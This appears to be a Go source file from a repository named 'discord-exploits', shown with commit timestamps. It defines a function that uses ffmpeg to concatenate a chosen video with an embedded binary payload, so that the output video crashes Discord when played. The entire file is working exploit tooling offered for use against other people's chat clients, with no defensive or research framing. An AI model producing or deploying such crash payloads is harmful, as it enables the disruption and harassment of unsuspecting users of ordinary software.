discord-exploits/exploits/crash-video.go

35 lines
895 B
Go
Raw Normal View History

2021-03-30 12:04:30 +00:00
package exploits
import (
_ "embed" // embed
2021-03-30 12:04:30 +00:00
"fmt"
"os"
"os/exec"
"github.com/Schmenn/discord-exploits/modules"
)
//go:embed crash.bin
var bin []byte
2021-03-30 12:04:30 +00:00
// RunCrashVideoTask takes the input file and makes a video from it that when played crashes discord
func RunCrashVideoTask(filename string) {
binname := modules.CreateName("bin")
outname := modules.CreateName("mp4")
txtname := modules.CreateName("txt")
err := os.WriteFile(txtname, []byte(`file '`+filename+`'`+"\n"+`file '`+binname+`'`), 0777)
modules.Check(err)
err = os.WriteFile(binname, bin, 0777)
modules.Check(err)
modules.CheckForFFmpeg()
cmd := exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname)
2021-03-30 12:04:30 +00:00
err = cmd.Run()
modules.Check(err)
err = os.Remove(binname)
modules.Check(err)
err = os.Remove(txtname)
modules.Check(err)
fmt.Println("Saved video to: " + outname)
2021-03-30 12:04:30 +00:00
}